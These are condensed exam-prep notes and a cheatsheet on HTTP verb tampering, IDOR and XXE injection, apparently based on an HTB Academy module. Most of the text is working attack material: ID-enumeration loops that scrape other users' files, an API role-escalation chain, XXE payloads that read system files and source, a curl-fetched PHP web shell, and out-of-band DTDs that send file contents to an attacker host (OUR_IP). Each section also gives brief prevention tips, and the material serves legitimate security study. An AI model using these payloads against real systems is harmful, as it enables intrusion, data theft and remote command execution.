Web Attacks — HTTP Verb Tampering, IDOR and XXE Injection (HTB CWES)
Built from the Web Attacks module of the HTB Academy Web Penetration Tester path (HTB CWES). Revision notes: every technique and payload kept, condensed. Labs and lessons are on HTB Academy.
Three high-impact attacks that hit almost any app: HTTP Verb Tampering, IDOR, and XXE.
1. HTTP Verb Tampering
HTTP has more verbs than GET/POST: HEAD (GET without a body), PUT (write), DELETE, OPTIONS (list allowed methods), PATCH. If the server/app handles them inconsistently, you bypass auth or filters.
Insecure config → auth bypass. <Limit GET POST> only protects those verbs. List the allowed ones and sneak in via HEAD (runs the action, returns no body):
curl -i -X OPTIONS http://TARGET/ # Allow: POST,OPTIONS,HEAD,GET
Then in Burp, intercept the protected action and Change Request Method to HEAD — the /admin/reset.php runs without the 401.
Insecure coding → filter bypass. The classic: filter checks $_POST['x'] but the sink uses $_REQUEST['x']. Send the payload as a GET param → the POST filter sees nothing, the sink still runs it → injection goes through (change method in Burp).
Prevent: never scope auth/filters to specific verbs — use LimitExcept (Apache), cover all methods, read input consistently ($_REQUEST everywhere), and disable HEAD if unused.
2. IDOR — Insecure Direct Object References
A direct reference you can tamper (download.php?file_id=123) + no back-end access control = read/modify others' data. The real bug is broken object-level access control.
Identify: increment IDs (?uid=2, ?filename=file_2.pdf); hunt unused endpoints in front-end AJAX calls; decode base64 refs (ZmlsZV8xMjMucGRm → file_123.pdf); reverse hashes if they're computed client-side; compare two accounts' requests.
Mass enumeration — loop the ID and scrape:
curl -s "http://TARGET/documents.php?uid=3" | grep -oP "\/documents.*?.pdf"
for i in {1..10}; do
for link in $(curl -s "http://TARGET/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
wget -q http://TARGET/$link
done
done
Encoded/hashed references — if the hash is built in front-end JS (CryptoJS.MD5(btoa(uid))), replicate it and enumerate:
echo -n 1 | base64 -w 0 | md5sum # cdd96d3cc73d1dbdaffa03cc6cd7339b — matches the request
for i in {1..10}; do echo -n $i | base64 -w 0 | md5sum | tr -d ' -'; done
for i in {1..10}; do h=$(echo -n $i|base64 -w0|md5sum|tr -d ' -'); curl -sOJ -X POST -d "contract=$h" http://TARGET/download.php; done
IDOR in APIs & chaining (→ privilege escalation). REST verbs map to CRUD (GET read, PUT update, POST create, DELETE). When the only authz is a client-side role=employee cookie or a role field in the JSON, and writes are blocked by uid/uuid checks — pivot through an information-disclosure GET:
GET /api.php/profile/2leaks another user'suuidandrole(no read access control).- With their
uuid,PUTtheir profile → modify details (set email → password reset = takeover; or plant an XSS inabout). - Enumerate all users → find the admin
rolename (web_admin). PUTyour own profile settingrole: web_admin→ now create/delete users.
Prevent: object-level RBAC mapped from the session (never trust a role in the request), and strong references (UUID v4, salted hashes) generated server-side.
3. XXE — XML External Entity Injection
If the app parses user XML with external entities enabled, you read files / get RCE. XML DTD can declare entities; SYSTEM loads an external one (file://, http://, php://).
Confirm & read files — define an entity and reference it in a reflected element (e.g. <email>):
<!DOCTYPE email [ <!ENTITY company "Inlane Freight"> ]> <!-- &company; reflected = vulnerable -->
<!DOCTYPE email [ <!ENTITY company SYSTEM "file:///etc/passwd"> ]> <!-- &company; = file contents -->
(If the app sends JSON, try Content-Type: application/xml with converted XML.)
Read source (files with </>/& break XML) — base64 via PHP filter:
<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
RCE (needs PHP expect module) — fetch a web shell ($IFS for spaces, avoid | > {):
<!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
echo '<?php system($_REQUEST["cmd"]);?>' > shell.php && sudo python3 -m http.server 80
Advanced — CDATA (read any file via an external DTD, joining parameter entities %):
echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd && python3 -m http.server 8000
<!DOCTYPE email [
<!ENTITY % begin "<![CDATA["><!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php">
<!ENTITY % end "]]>"><!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd"> %xxe; ]>
<email>&joined;</email>
Error-based (no reflection, but errors shown) — provoke an error that includes the file:
<!-- in xxe.dtd --> <!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
<!-- request --> <!DOCTYPE email [ <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd"> %remote; %error; ]>
Blind OOB (no reflection, no errors) — make the server send the base64 file to you:
<!-- xxe.dtd -->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">
<!-- request -->
<!DOCTYPE email [ <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd"> %remote; %oob; ]><root>&content;</root>
Your listener decodes the content= param. Automate with XXEinjector (basic/CDATA/error/OOB); DNS OOB is the stealth variant. Other XXE: SSRF (internal port scan) and the "billion laughs" DoS (patched on modern servers). Prevent: disable DTDs/external entities in the parser (libxml_disable_entity_loader(true)), prefer JSON, patch XML libs.
4. What to carry into the CWES exam
- Verb tampering:
OPTIONSto list verbs, Burp Change Request Method toHEAD(auth bypass) or flip POST↔GET (filter bypass) — the tell is$_POSTfilter +$_REQUESTsink. - IDOR: tamper every ID/ref (plain, base64, front-end hash); mass-enumerate with curl+grep+wget; in APIs, chain a read-IDOR (
GET→ leakuuid/role) into a write-IDOR (PUT) → setrole: admin. - XXE: confirm with an internal entity, read with
file://, source withphp://filter, then escalate — CDATA (any framework), error-based (errors shown), blind OOB (neither). Keep apython3 -m http.server+xxe.dtdready.
Cheatsheet — Web Attacks
Verb tampering
curl -i -X OPTIONS http://TARGET/ # list Allow: methods
# Burp → Change Request Method → HEAD (auth bypass) | GET↔POST (filter bypass)
# config fix: LimitExcept ; code fix: use $_REQUEST consistently
IDOR
?uid=2 ?filename=file_2.pdf # increment
echo -n ZmlsZV8xMjMucGRm | base64 -d # decode ref
echo -n 1 | base64 -w0 | md5sum # replicate front-end hash
curl -s "http://T/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf" # scrape + wget loop
# API chain: GET /api.php/profile/2 (leak uuid/role) → PUT (modify) → set role:web_admin
XXE
<!ENTITY x SYSTEM "file:///etc/passwd"> <!-- read file -->
<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php"><!-- source -->
<!ENTITY x SYSTEM "expect://curl$IFS-O$IFS'IP/shell.php'"> <!-- RCE (expect) -->
<!-- CDATA: %begin;%file;%end; via external xxe.dtd | error-based: %nonExistent;/%file; -->
<!-- blind OOB: php://filter → http://IP:8000/?content=%file; (XXEinjector automates) -->
echo '<?php system($_REQUEST["cmd"]);?>' > shell.php ; python3 -m http.server 8000
Built from HTB Academy's Web Attacks module — labs, lessons and the CWES exam are on HTB Academy.